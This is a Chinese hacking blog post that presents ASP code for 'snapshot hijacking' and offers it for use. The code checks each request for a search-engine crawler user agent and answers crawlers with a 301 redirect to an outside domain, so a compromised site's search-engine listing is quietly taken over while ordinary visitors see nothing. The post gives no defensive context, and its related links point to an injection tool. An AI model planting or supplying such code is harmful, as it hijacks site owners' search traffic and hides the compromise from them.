继续完善asp的301快照劫持


Feb 27 2015

继续完善asp的301快照劫持

首页 » 渗透编程 » 继续完善asp的301快照劫持   

<%
Function GetLocationURL() 
Dim Url 
Dim ScriptName,QueryString 
ScriptName = Request.ServerVariables("SCRIPT_NAME") 
QueryString = Request.ServerVariables("QUERY_STRING")
if ScriptName = "/index.asp" then
    if QueryString = "" then
        GetLocationURL = "/"
    else
        GetLocationURL = ScriptName&"?"&QueryString
    end if
else
    if QueryString = "" then
        GetLocationURL = ScriptName
    else
        GetLocationURL = ScriptName&"?"&QueryString  
    end if
end if
 
End Function 
  
If isspider() then
    Response.Status="301 Moved Permanently"
    Response.AddHeader "Location","http://www.hackblog.cn"& GetLocationURL() '在这里修改要跳转到的网页
    Response.End
End if
  
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")
isspider = false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function
  
%>
http://www.hackblog.cn/post/48.html

如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: 快照劫持

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «Discuz! 7.2 注入批量用户工具 | 【社】大杀器社论坛»

你肿么看?

你还可以输入 250/250 个字

 微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

这篇文章还没有收到评论,赶紧来抢沙发吧~